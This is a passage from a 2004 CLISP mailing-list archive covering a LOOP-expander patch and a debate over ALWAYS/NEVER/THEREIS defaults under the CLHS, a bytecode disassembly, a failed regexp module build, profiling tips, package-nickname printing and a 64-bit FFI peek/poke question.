> (loop for i in '(1 2 a 3) never (symbolp i) collect i)
> to return NIL
>
> because COLLECT is just that other clause which contributes a return valu=
e.
>
> I believe the only ambiguous case is when ALWAYS or THEREIS are used
>with NEVER alone, because their defaults conflict.

there is a thread on c.l.l on this:
http://groups-beta.google.com/group/comp.lang.lisp/browse_frm/thread/df0904=
83c0b8b58e/ba3d05cc52eef601?tvc=3D1&q=3Dgroup:comp.lang.lisp+loop+thereis&_=
done=3D%2Fgroups%3Fq%3Dgroup:comp.lang.lisp+loop+thereis+%26qt_s%3DSearch+G=
roups%26&_doneTitle=3DBack+to+Search&scrollSave=3D&&d#ba3d05cc52eef601

here is a patch which relaxes the restrictions you dislike:
default return values are collected separately from the normal values
and multiple defaults result in a warning, not an error.

please test it and report your experiences here.

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--- loop.lisp	29 Oct 2004 11:52:48 -0400	1.37
+++ loop.lisp	02 Dec 2004 11:08:44 -0500=09
@@ -214,6 +214,13 @@
 ;; Flag whether this variable is used.
 (defvar *used-it*)
=20
+(defun loop-new-result (form clause results)
+  (let ((pair (assoc form results :test #'equal)))
+    (if pair
+        (push clause (cdr pair))
+        (push (list form clause) results))
+    results))
+
 ;; The bulk of the expander.
 (defun expand-loop (*whole* body)
   (let ((body-rest body) ; alle Parse-Funktionen verk=C3=BCrzen body-rest
@@ -247,6 +254,7 @@
              ((NCONC NCONCING APPEND APPENDING)
               (unless (eq (loop-keywordp (caddr rest)) 'INTO)
                 (return nil))))))
+        (defaults nil) ; alist (value-form . (clause list))
         (results nil)) ; alist (value-form . (clause list))
     (labels
       ((next-kw () ; Schaut, ob als n=C3=A4chstes ein Keyword kommt.
@@ -295,11 +303,9 @@
                *whole* var clause bad))
            (setf (gethash var accu-table) (cons clause others))))
        (new-result (form clause)
-         (let ((pair (assoc form results :test #'equal)))
-           (if pair
-               (push clause (cdr pair))
-               (push (list form clause) results))
-           results))
+         (setq results (loop-new-result form clause results)))
+       (new-default (form clause)
+         (setq defaults (loop-new-result form clause defaults)))
        (acculist-var (keyword form)
          (or acculist-var
              (progn (setq acculist-var (gensym "ACCULIST-VAR-"))
@@ -576,14 +582,14 @@
                            (WHILE `(UNLESS ,form (LOOP-FINISH)))
                            (UNTIL `(WHEN ,form (LOOP-FINISH)))
                            (ALWAYS
-                             (new-result 'T (list kw form))
+                             (new-default 'T (list kw form))
                              `(UNLESS ,form (RETURN-FROM ,block-name 'NIL)=
))
                            (NEVER
-                             (new-result 'T (list kw form))
+                             (new-default 'T (list kw form))
                              `(WHEN ,form (RETURN-FROM ,block-name 'NIL)))
                            (THEREIS
                              (let ((dummy (gensym)))
-                               (new-result 'NIL (list kw form))
+                               (new-default 'NIL (list kw form))
                                `(BLOCK ,dummy
                                   (RETURN-FROM ,block-name
                                     (OR ,form (RETURN-FROM ,dummy NIL)))))=
))
@@ -982,13 +988,18 @@
                      (TEXT "~S: illegal syntax near ~S in ~S")
                      'loop (first body-rest) *whole*)))))))
       ; Noch einige semantische Tests:
-      (when (> (length results) 1)
+      (when (cdr results)       ; more than 1 result
         (error-of-type 'source-program-error
           :form *whole* :detail *whole*
-          (TEXT "~S: ambiguous result:~:{~%~S from ~@{~{~A ~S~}~^, ~}~}")
+          (TEXT "~S: ambiguous result:~:{~%=3D ~S from ~@{~{~A ~S~}~^, ~}~=
}")
           *whole* results))
-      (unless (null results)
-        (push `(RETURN-FROM ,block-name ,(caar results)) finally-code))
+      (when (and (null results) (cdr defaults)) ; more than 1 default
+        (warn (TEXT "~S: ambiguous default return value:~:{~%=3D ~S from ~=
@{~{~A ~S~}~^, ~}~}~%the first one will be used")
+              *whole* defaults))
+      (if results
+          (push `(RETURN-FROM ,block-name ,(caar results)) finally-code)
+          (when defaults
+            (push `(RETURN-FROM ,block-name ,(caar defaults)) finally-code=
)))
       ; Initialisierungen abarbeiten und optimieren:
       (let ((initializations1
              (unless (zerop (length *helpvars*))


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    Do type declarations help CLISP optimize code? How good is its type inferencing?



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Marcin Tustin writes:
>     Do type declarations help CLISP optimize code? How good is its
>     type inferencing?

[283]> (defun f (x) (let ((y 0)) (dotimes (i x) (incf y i)) y))
F
[286]> (disassemble (compile 'f))


Disassembly of function F
(CONST 0) = 0
1 required argument
0 optional arguments
No rest parameter
No keyword parameters
15 byte-code instructions:
0     (CONST&PUSH 0)                      ; 0
1     (CONST&PUSH 0)                      ; 0
2     (JMP L12)
4     L4
4     (LOAD&PUSH 1)
5     (LOAD&PUSH 1)
6     (CALLSR&STORE 2 53 1)               ; +
10    (LOAD&INC&STORE 0)
12    L12
12    (LOAD&PUSH 0)
13    (LOAD&PUSH 4)
14    (CALLSR&JMPIFNOT 1 50 L4)           ; >=
18    (SKIP 1)
20    (POP)
21    (SKIP&RET 2)
NIL
[287]> 

[289]> (defun f (x) 
         (declare (type (integer 0 255) x))
         (let ((y 0))
           (declare (type (integer 0 65536) y))
           (dotimes (i x)
              (declare (type (integer 0 255) i))
              (incf (the (integer 0 65536) y) (the (integer 0 255) i)))
           (the (integer 0 65536) y)))
F
[290]> (disassemble (compile 'f))


Disassembly of function F
(CONST 0) = 0
1 required argument
0 optional arguments
No rest parameter
No keyword parameters
18 byte-code instructions:
0     (CONST&PUSH 0)                      ; 0
1     (CONST&PUSH 0)                      ; 0
2     (JMP L15)
4     L4
4     (LOAD&PUSH 1)
5     (LOAD&PUSH 1)
6     (CALLSR&PUSH 2 53)                  ; +
9     (LOAD 0)
10    (STORE 2)
11    (SKIP 1)
13    (LOAD&INC&STORE 0)
15    L15
15    (LOAD&PUSH 0)
16    (LOAD&PUSH 4)
17    (CALLSR&JMPIFNOT 1 50 L4)           ; >=
21    (SKIP 1)
23    (POP)
24    (SKIP&RET 2)
NIL
[291]> 


Conclusion: not really not...

(Luke, use the sources: clisp-2.33.2/src/compiler.lisp !)


At least, it's not damaging to put declarations :-)
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Hallo

While walking through /src and playing around I found:

[19]> (lisp-implementation-version)
"2.31 (released 2003-09-01) (built on lin [127.0.0.1])"

............................
(Look at the last line)
[65]> (describe 'cons)

CONS is the symbol CONS, lies in #<PACKAGE COMMON-LISP>
packages CLOS, COMMON-LISP, COMMON-LISP-USER, EXT, FFI,
a function, names a type, names a class, has 4 properti
SYSTEM::INSTRUCTION, SYSTEM::TYPE-LIST, SYSTEM::TYPE-SY
For more information, evaluate (SYMBOL-PLIST 'CONS).

 #<PACKAGE COMMON-LISP> is the package named COMMON-LIS
 LISP, CL.
 It imports the external symbols of 1 package CLOS and
 6 packages FFI, SCREEN, CLOS, COMMON-LISP-USER, EXT, S

 #<SYSTEM-FUNCTION CONS> is a built-in system function.
 Argument list: (ARG0 ARG1).
Documentation:
SYSTEM::FILE:
#P"D:\\gnu\\clisp\\sf\\clisp\\build-O-mingw\\clos.fas"

Is this correct? I run on a Win98 Box, the "D:\..." is CD-ROM
.................................
found in compiler.lisp:

;; The instruction list is in <doc/impbyte.xml>.

In C:\cl231\doc there is no such file. 
Download the clisp__1.zip from sorgeforce with 3.462.409 bytes (win32
version).
..................................
be continued

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Hi,

I'm sorry. I just realized that CLHS explicitly disallows never+collect.
It says in ?6.1.4 "Using always, never, or thereis in a loop with value accumulation clauses that are not into causes an error of type program-error to be signaled (at macro expansion time)."
Therefore, Sam's patch must be rejected.
Instead, my never+collect example should even be turned into a failure test (i.e. the testsuite should contain a case to check that (typep (nth-value (eval'(loop never+thereis))) 'program-error)).


Now,
1. given that there cannot be a value from an accumulation overiding a default from thereis/always/never, and
2. given that always/never is quite limited because it cannot appear outside the main clause (e.g. when (plusp x) always (integerp x) is not covered by the BNF),
I'm left to wonder what the CLHS wants to say when it talks about the clause "supplies a default value of t/nil": when does this apply?

Since value accumulation clauses are disallowed, what can "some other clause [which] contributes a return value" be in CLHS?

Sam Steingold wrote:
>there is a thread on c.l.l on this:
>http://groups-beta.google.com/group/comp.lang.lisp/browse_frm/t
hread/df090483c0b8b58e/ba3d05cc52eef601?tvc=1&q=group:comp.lang.lisp+loop+thereis&_done=%2Fgroups%3Fq%3Dgroup:comp.lang.lisp+loop+thereis+%26qt_s%3DSearch+Groups%26&_doneTitle=Back+to+Search&scrollSave=&&d#ba3d05cc52eef601

Pascal Bourguignon wrote:
"The error is in clisp implementation of loop where a default result is
computed at the beginning of the loop, instead of waiting the
terminating conditions to determine default values."

Although I can't find anything in the CLHS supporting Pascal Bourguignon's opinion
and evaluation model (last always/thereis/until evaluated yields default), at least it has the advantage that
+ it assigns meaning to a form which otherwise has none (never+thereis)
+ it is deterministic (all proposed models share this property :-)
However
- defaults are constantly changed within the loop, possibly leading to surprising results

(loop repeat 3 while nil always t)
 -> nil with Pascal, since always is never reached.
 -> t in current CLISP (always clause => t default)

(loop for i in '()
	always (plusp i)
      do (foo i))
would yield nil, which, from a mathematical point of view, is quite odd IMHO.
(and I see a relationship to (AND) => t, not nil)

A possibly not too contrived example which would benefit from lifting a contradiction between always/never and thereis might be as follows:
(loop for x in '(-3 2 0 2.5)
      always (numberp x)
      when (plusp x) collect x into y
      thereis (foo x)
      finally (return y))
which can return either nil, (foo x) or a list of positive numbers...

Regards,
	Jorg Hohle.


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J=C3=B6rg-Cyril H=C3=B6hle wrote:
> at least it has the advantage that it assigns meaning to a form
> which otherwise has none (never+thereis)

I don't think this is an advantage. Especially in the LOOP area, other
implementations are known to assign meanings to ambiguous forms. When a
user runs in clisp a program with was developed with another implementation,
it is better to give an error (or at least a warning) for ambiguous forms,
rather than returning a different result than the other implementation and
letting the user wonder why his program misbehaves.

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Hoehle, Joerg-Cyril writes:
> Pascal Bourguignon wrote:
> "The error is in clisp implementation of loop where a default result is
> computed at the beginning of the loop, instead of waiting the
> terminating conditions to determine default values."
> 
> Although I can't find anything in the CLHS supporting Pascal
> Bourguignon's opinion and evaluation model (last
> always/thereis/until evaluated yields default), at least it has the
> advantage that

> + it assigns meaning to a form which otherwise has none (never+thereis)
> + it is deterministic (all proposed models share this property :-)
> However
> - defaults are constantly changed within the loop, possibly leading
>   to surprising results
> 
> (loop repeat 3 while nil always t)
>  -> nil with Pascal, since always is never reached.   ; bad!
>  -> t in current CLISP (always clause => t default)   ; good!

Only in the case of an ambiguity between always, never and thereis
should the default of the last executed clause be used.  This is the
interpretation of the other implementations, even those who issue a
_warning_ in this case.


while or until don't impose any default result.
always, never and thereis do.

   There are two differences between the thereis and until constructs:

   * The until construct does not return a value or nil based on the
     value of the supplied form.

   * The until construct executes any finally clause. Since thereis
     uses the return-from special operator to terminate iteration, any
     finally clause that is supplied is not evaluated when exit occurs
     due to thereis.

   ...
   The constructs always, never, and thereis provide specific values
   to be returned when a loop terminates.


(loop repeat 3 while nil always t) should still return t, like in ecl,
gcl, sbcl, cmucl.

The other examples, where there is only one of always, never and
thereis and no other return value, should still return the default for
the one clause. 


-- 
__Pascal Bourguignon__                     http://www.informatimago.com/
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Hi,

I am getting an error when compiling clisp 2.33.2 on linux debian 2.4.18
following the instructions in unix/INSTALL.

The command I am using is:
./configure --with-module=regexp new

The recommended steps I get are:
To continue building CLISP, the following commands are recommended
  (cf. unix/INSTALL step 4):
    cd new
    ./makemake --with-dynamic-ffi  --with-module=regexp   > Makefile
    make config.lisp
    joe config.lisp
    make
    make check

The final lines from make are:

test -d base || (mkdir base && cd base && for f in lisp.a libnoreadline.a
libcharset.a libavcall.a libcallback.a  modules.h modules.o makevars
lisp.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf base ; exit 1)
/home/ro/src/clisp-2.33.2/new/base
./txt2c -I'../' < ../src/_clisp.c > txt.c
gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
-DNO_SIGSEGV -I. -DCOMPILE_STANDALONE -x none -O0 txt.c -o txt
In file included from txt.c:1:
lispbibl.d:7552: warning: register used for two global register variables
./txt > clisp.c
rm -f txt.c
rm -f txt
builddir="`pwd`"; gcc  -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit
-Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE
-DDYNAMIC_FFI -DNO_SIGSEGV -I. -x none -DLISPLIBDIR='"'$builddir'"'
-DLOCALEDIR='"'$builddir/locale'"' clisp.c libcharset.a libavcall.a
libcallback.a -lreadline -lncurses -ldl    -o clisp
rm -rf full
CLISP_LINKKIT=. ./clisp-link add-module-sets base full regexp  || (rm -rf
full ; exit 1)
/home/ro/src/clisp-2.33.2/new/regexp
make[1]: Entering directory `/home/ro/src/clisp-2.33.2/new/regexp'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/new/regexp'
/home/ro/src/clisp-2.33.2/new/full
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
-DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c
In file included from modules.d:12:
/home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two
global register variables
/home/ro/src/clisp-2.33.2/new/full
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
-DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a
libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run
gcc: regexi.o: No such file or directory
gcc: lisp.a: No such file or directory
gcc: libcharset.a: No such file or directory
gcc: libavcall.a: No such file or directory
gcc: libcallback.a: No such file or directory
base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x
(saveinitmem "full/lispinit.mem")
;; Loading file regexp/preload.lisp ...
;; Loaded file regexp/preload.lisp
1202136 ;
601068
full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x
(saveinitmem "full/lispinit.mem")
./clisp-link: full/lisp.run: No such file or directory
make: *** [full] Error 1


I don't end up with a "full" directory as expected from INSTALL.
I have tried different configure commands, different versions of clisp and
a Knoppix linux with the same result. If I don't use the
--with-module=regexp option it compiles OK.

Grateful for any help,
Robert 



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> * Robert Olney <ebyarl@cpht.bet.nh> [2004-12-07 06:21:10 +1100]:
>
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
> -DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c
> In file included from modules.d:12:
> /home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two
> global register variables
> /home/ro/src/clisp-2.33.2/new/full
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
> -DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a
> libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run
> gcc: regexi.o: No such file or directory
> gcc: lisp.a: No such file or directory
> gcc: libcharset.a: No such file or directory
> gcc: libavcall.a: No such file or directory
> gcc: libcallback.a: No such file or directory
> base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x
> (saveinitmem "full/lispinit.mem")
> ;; Loading file regexp/preload.lisp ...
> ;; Loaded file regexp/preload.lisp
> 1202136 ;
> 601068
> full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x
> (saveinitmem "full/lispinit.mem")
> ./clisp-link: full/lisp.run: No such file or directory
> make: *** [full] Error 1

this is strange.
what do you have in "new/base/"?
$ ls new/base/
$ ls new/regexp/
$ cd new
$ make base
$ make full

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On Mon, 6 Dec 2004, Sam Steingold wrote:

> > * Robert Olney <ebyarl@cpht.bet.nh> [2004-12-07 06:21:10 +1100]:
> >
> > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
> > -DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c
> > In file included from modules.d:12:
> > /home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two
> > global register variables
> > /home/ro/src/clisp-2.33.2/new/full
> > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> > -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
> > -DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a
> > libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run
> > gcc: regexi.o: No such file or directory
> > gcc: lisp.a: No such file or directory
> > gcc: libcharset.a: No such file or directory
> > gcc: libavcall.a: No such file or directory
> > gcc: libcallback.a: No such file or directory
> > base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x
> > (saveinitmem "full/lispinit.mem")
> > ;; Loading file regexp/preload.lisp ...
> > ;; Loaded file regexp/preload.lisp
> > 1202136 ;
> > 601068
> > full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x
> > (saveinitmem "full/lispinit.mem")
> > ./clisp-link: full/lisp.run: No such file or directory
> > make: *** [full] Error 1
> 
> this is strange.
> what do you have in "new/base/"?
> $ ls new/base/
> $ ls new/regexp/
> $ cd new
> $ make base
> $ make full
> 
ro:~/src/clisp-2.33.2/new$ ls -l base
total 0
lrwxrwxrwx    1 ro       ro             14 Dec  7 05:55 libavcall.a ->
../libavcall.a
lrwxrwxrwx    1 ro       ro             16 Dec  7 05:55 libcallback.a ->
../libcallback.a
lrwxrwxrwx    1 ro       ro             15 Dec  7 05:55 libcharset.a ->
../libcharset.a
lrwxrwxrwx    1 ro       ro             18 Dec  7 05:55 libnoreadline.a ->
../libnoreadline.a
lrwxrwxrwx    1 ro       ro              9 Dec  7 05:55 lisp.a ->
../lisp.a
lrwxrwxrwx    1 ro       ro             11 Dec  7 05:55 lisp.run ->
../lisp.run
lrwxrwxrwx    1 ro       ro             15 Dec  7 05:55 lispinit.mem ->
../lispinit.mem
lrwxrwxrwx    1 ro       ro             11 Dec  7 05:55 makevars ->
../makevars
lrwxrwxrwx    1 ro       ro             12 Dec  7 05:55 modules.h ->
../modules.h
lrwxrwxrwx    1 ro       ro             12 Dec  7 05:55 modules.o ->
../modules.o

ro:~/src/clisp-2.33.2/new$ ls -l regexp
total 376
-rw-r--r--    1 ro       ro            951 Dec  7 05:55 Makefile
-rw-r--r--    2 ro       ro            982 Feb 26  2004 Makefile.in
-rw-r--r--    2 ro       ro            637 Apr  1  2000 README
-rw-r--r--    1 ro       ro           2888 Dec  7 05:55 config.h
-rw-r--r--    2 ro       ro           2710 Dec 31  2003 config.h.in
-rw-r--r--    1 ro       ro          13204 Dec  7 05:55 config.log
-rwxr-xr-x    1 ro       ro          28546 Dec  7 05:55 config.status
-rwxr-xr-x    2 ro       ro         134526 Jun  3  2004 configure
-rw-r--r--    2 ro       ro            861 Aug  3  2003 configure.in
-rw-r--r--    1 ro       ro            360 Dec  7 05:55 link.sh
-rw-r--r--    2 ro       ro            387 Feb 26  2004 link.sh.in
-rwxr-xr-x    2 ro       ro             24 Aug  7  2003 preload.lisp
-rw-r--r--    2 ro       ro           4049 Mar 13  2004 regexi.c
-rw-r--r--    1 ro       ro           7669 Dec  7 05:55 regexi.m.c
-rw-r--r--    1 ro       ro           5440 Dec  7 05:55 regexi.o
-rw-r--r--    2 ro       ro          37348 Jul 23  1998 regexp.dvi
-rw-r--r--    1 ro       ro          16184 Dec  7 05:55 regexp.fas
-rw-r--r--    1 ro       ro          16411 Dec  7 05:55 regexp.lib
-rw-r--r--    2 ro       ro           6093 Feb 24  2004 regexp.lisp
-rw-r--r--    2 ro       ro          21991 Apr 30  2003 regexp.texinfo
-rw-r--r--    2 ro       ro           7704 Jan 28  2004 regexp.xml
-rwxr-xr-x    2 ro       ro          21166 Jan 17  2004 test.tst

ro:~/src/clisp-2.33.2/new$ make base
test -d base || (mkdir base && cd base && for f in lisp.a libnoreadline.a
libcharset.a libavcall.a libcallback.a  modules.h modules.o makevars
lisp.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf base ; exit 1)
ro:~/src/clisp-2.33.2/new$ ls -l base
total 0
lrwxrwxrwx    1 ro       ro             14 Dec  7 05:55 libavcall.a ->
../libavcall.a
lrwxrwxrwx    1 ro       ro             16 Dec  7 05:55 libcallback.a ->
../libcallback.a
lrwxrwxrwx    1 ro       ro             15 Dec  7 05:55 libcharset.a ->
../libcharset.a
lrwxrwxrwx    1 ro       ro             18 Dec  7 05:55 libnoreadline.a ->
../libnoreadline.a
lrwxrwxrwx    1 ro       ro              9 Dec  7 05:55 lisp.a ->
../lisp.a
lrwxrwxrwx    1 ro       ro             11 Dec  7 05:55 lisp.run ->
../lisp.run
lrwxrwxrwx    1 ro       ro             15 Dec  7 05:55 lispinit.mem ->
../lispinit.mem
lrwxrwxrwx    1 ro       ro             11 Dec  7 05:55 makevars ->
../makevars
lrwxrwxrwx    1 ro       ro             12 Dec  7 05:55 modules.h ->
../modules.h
lrwxrwxrwx    1 ro       ro             12 Dec  7 05:55 modules.o ->
../modules.o

ro:~/src/clisp-2.33.2/new$ make full
test -d base || (mkdir base && cd base && for f in lisp.a libnoreadline.a
libcharset.a libavcall.a libcallback.a  modules.h modules.o makevars
lisp.run lispinit.mem; do ln -s ../$f $f; done) || (rm -rf base ; exit 1)
test -d regexp || ../src/lndir ../modules/regexp regexp
if test -f regexp/configure -a '!' -f regexp/config.status ; then cd
regexp ; CC="gcc" ./configure --cache-file=`echo regexp/ | sed
-e 's,[^/][^/]*//*,../,g'`config.cache ; fi
CLISP="`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale
-Efile UTF-8 -Eterminal UTF-8 -norc" ; cd regexp ; dots=`echo regexp/ |
sed -e 's,[^/][^/]*//*,../,g'` ; make clisp-module
CC="gcc" CPPFLAGS="" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith
-Wimplicit -Wreturn-type  -Wno-sign-compare -O2 -fexpensive-optimizations
-DUNICODE -DDYNAMIC_FFI -DNO_SIGSEGV
-I." INCLUDES="$dots" LISPBIBL_INCLUDES=" ${dots}lispbibl.c ${dots}fsubr.c
${dots}subr.c ${dots}pseudofun.c ${dots}constsym.c ${dots}constobj.c
${dots}unix.c
${dots}xthread.c ${dots}stdbool.h ${dots}libcharset.h" CLFLAGS="-x
none" LIBS="libcharset.a libavcall.a libcallback.a -lreadline -lncurses
-ldl   " RANLIB="ranlib" CLISP="$CLISP -q"
/home/ro/src/clisp-2.33.2/new/regexp
make[1]: Entering directory `/home/ro/src/clisp-2.33.2/new/regexp'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/new/regexp'
rm -rf full
CLISP_LINKKIT=. ./clisp-link add-module-sets base full regexp  || (rm -rf
full ; exit 1)
/home/ro/src/clisp-2.33.2/new/regexp
make[1]: Entering directory `/home/ro/src/clisp-2.33.2/new/regexp'
make[1]: Nothing to be done for `clisp-module'.
make[1]: Leaving directory `/home/ro/src/clisp-2.33.2/new/regexp'
/home/ro/src/clisp-2.33.2/new/full
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
-DNO_SIGSEGV -I. -I/home/ro/src/clisp-2.33.2/new -c modules.c
In file included from modules.d:12:
/home/ro/src/clisp-2.33.2/new/clisp.h:609: warning: register used for two
global register variables
/home/ro/src/clisp-2.33.2/new/full
gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI
-DNO_SIGSEGV -I. -x none modules.o regexi.o lisp.a libcharset.a
libavcall.a libcallback.a -lreadline -lncurses -ldl -o lisp.run
gcc: regexi.o: No such file or directory
gcc: lisp.a: No such file or directory
gcc: libcharset.a: No such file or directory
gcc: libavcall.a: No such file or directory
gcc: libcallback.a: No such file or directory
base/lisp.run -B . -M base/lispinit.mem -norc -q -i regexp/preload.lisp -x
(saveinitmem "full/lispinit.mem")
;; Loading file regexp/preload.lisp ...
;; Loaded file regexp/preload.lisp
1202136 ;
601068
full/lisp.run -B . -M full/lispinit.mem -norc -q -i regexp/regexp -x
(saveinitmem "full/lispinit.mem")
./clisp-link: full/lisp.run: No such file or directory
make: *** [full] Error 1

I notice that regexi.o mentioned about 15 lines above is present in
new/regexp/ while lisp.a ... libcallback.a are present in new/

Robert.



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Hi,

in CLISP 2.33,
(compile () #'function)
returns nil if #'function is a compiled function.

However, the Hyperspec says
(http://www.lispworks.com/reference/HyperSpec/Body/f_cmp.htm)
"If the name is nil, the resulting compiled function is returned
  directly as the primary value."

Or am I overlooking something?

regards
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> * Michael Kappert <zvpunry.xnccreg@tzk.arg> [2004-12-07 23:14:11 +0100]:
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> in CLISP 2.33,
> (compile () #'function)
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thanks.
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Hey, 

I've been developing with clisp for relatively short while now (and
enjoying it greatly) and i've reached the point in development where I
need to make my code run faster.  What code profiling capabilities
does clisp have if any?  A(n admittedly brief) search of the
documentation and web site turned up nothing for me (outside of the
time function).

Thanks for any help,

Michael Kaplan
Engineer
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 > I've been developing with clisp for relatively short while now (and
 > enjoying it greatly) and i've reached the point in development where I
 > need to make my code run faster.  What code profiling capabilities
 > does clisp have if any?  A(n admittedly brief) search of the
 > documentation and web site turned up nothing for me (outside of the
 > time function).

I've used "metering.lisp" with a good amount of success.

It is part of the Common Lisp Open Code Collection which I think is
presently residing at:

	http://clocc.sourceforge.net/

I've also found helpful the general advice given in Paul Graham's book
"ANSI Common Lisp":

	http://www.paulgraham.com/acl.html

This includes things like
	- find the bottleneck
	- compile your code
	- try not to cons to much
	- use destructive operators
	- tell Lisp about your data types if possible

The first one -- profile and find the bottleneck -- is by far the most
important.  It's a good sign that got into using the language, and
that you are treating the profiling and tuning things a a follow-on
exercise.  That is the way it should be done.

So try "metering.lisp" first, see where your bottleneck is, and
then go from there.

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> * Mike Kaplan <fgenygu@tznvy.pbz> [2004-12-08 10:20:56 -0500]:
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> I've been developing with clisp for relatively short while now (and
> enjoying it greatly) and i've reached the point in development where I
> need to make my code run faster.  What code profiling capabilities
> does clisp have if any?  A(n admittedly brief) search of the
> documentation and web site turned up nothing for me (outside of the
> time function).

EXT:TIMES (TIME & Space)
<http://clisp.cons.org/impnotes/environment-dict.html#time>

For profiling I use CLOCC/MONITOR and find it quite adequate.
See <http://clocc.sourceforge.net/clocc/src/tools/metering/>

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Is there anyway to force CLISP to print the shortest package nickname 
instead of the full package name? I want to inspect some rather large 
objects, and the inspector reports them as 
COMMON-LISP-USER::object-type. Since the objects contain other objects, 
I end up with half my screen being filled with package names as opposed 
to the contents of the object I'm interested in. If I could reduce this 
to a shorter nickname (or prevent the package name from being printed 
alltogether), it might be able to get more of the information I'm 
interested in on the screen. Allegro CL has the *print-nickname* flag, 
which appears to do precisely what I want, but I have been unable to 
find a CLISP equivalent.

Thanks,

Daniel



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> * Daniel Freudenthal <q.serhqraguny@yvirecbby.np.hx> [2004-12-10 10:16:24 +0000]:
>
> Is there anyway to force CLISP to print the shortest package nickname
> instead of the full package name? I want to inspect some rather large
> objects, and the inspector reports them as
> COMMON-LISP-USER::object-type. Since the objects contain other
> objects, I end up with half my screen being filled with package names
> as opposed to the contents of the object I'm interested in. If I could
> reduce this to a shorter nickname (or prevent the package name from
> being printed alltogether), it might be able to get more of the
> information I'm interested in on the screen. Allegro CL has the
> *print-nickname* flag, which appears to do precisely what I want, but
> I have been unable to find a CLISP equivalent.

this is not yet implemented.
would you like to work on this?

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On Dec 10, 2004, at 2:20 pm, Sam Steingold wrote:
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> this is not yet implemented.
> would you like to work on this?

I'm afraid I really wouldn't know where to start.



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> * Daniel Freudenthal <q.serhqraguny@yvirecbby.np.hx> [2004-12-10 14:40:34 +0000]:
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> On Dec 10, 2004, at 2:20 pm, Sam Steingold wrote:
>>>
>>
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>> would you like to work on this?
>
> I'm afraid I really wouldn't know where to start.

I just implemented this feature.
please try CVS HEAD.

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It seems that 64-bit FFI doesn't work.

I've got a simple peek-and-poke library:


unsigned char      peek8 (unsigned char*      address){return(*address);}
unsigned short     peek16(unsigned short*     address){return(*address);}
unsigned long      peek32(unsigned long*      address){return(*address);}
unsigned long long peek64(unsigned long long* address){return(*address);}
void poke8(unsigned char* address,unsigned char value){(*address)=value;}
void poke16(unsigned short* address,unsigned short value){(*address)=value;}
void poke32(unsigned long* address,unsigned long value){(*address)=value;}
void poke64(unsigned long long* address,
            unsigned long long value){(*address)=value;}

The code generated is ok, the C compiler push and fetches the 64-bit
arguments on the stack, but it doesn't work with these FFI declarations:


(defmacro generate-peek-and-poke ()
  (loop with code = '()
        for size in '(8 16 32 64)  ;; peek and poke of 64-bit don't work.
        for c-peek-name = (format nil "peek~D" size)
        for c-poke-name = (format nil "poke~D" size) do
        (loop for type in '(uint sint) 
              for l-peek-name = (intern (with-standard-io-syntax
                                          (format nil"PEEK-~A~D" type size))
                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
              for l-poke-name = (intern (with-standard-io-syntax
                                          (format nil"POKE-~A~D" type size))
                                        "COM.INFORMATIMAGO.CLISP.RAW-MEMORY")
              for l-type      = (intern (with-standard-io-syntax
                                          (format nil"~A~D" type size))
                                        "FFI")
              do 
              (push `(ffi:def-call-out ,l-peek-name
                      (:name ,c-peek-name)
                      (:arguments (address ffi:ulong))
                      (:return-type ,l-type)
                      (:library  #.+library+) (:language :stdc)) code)
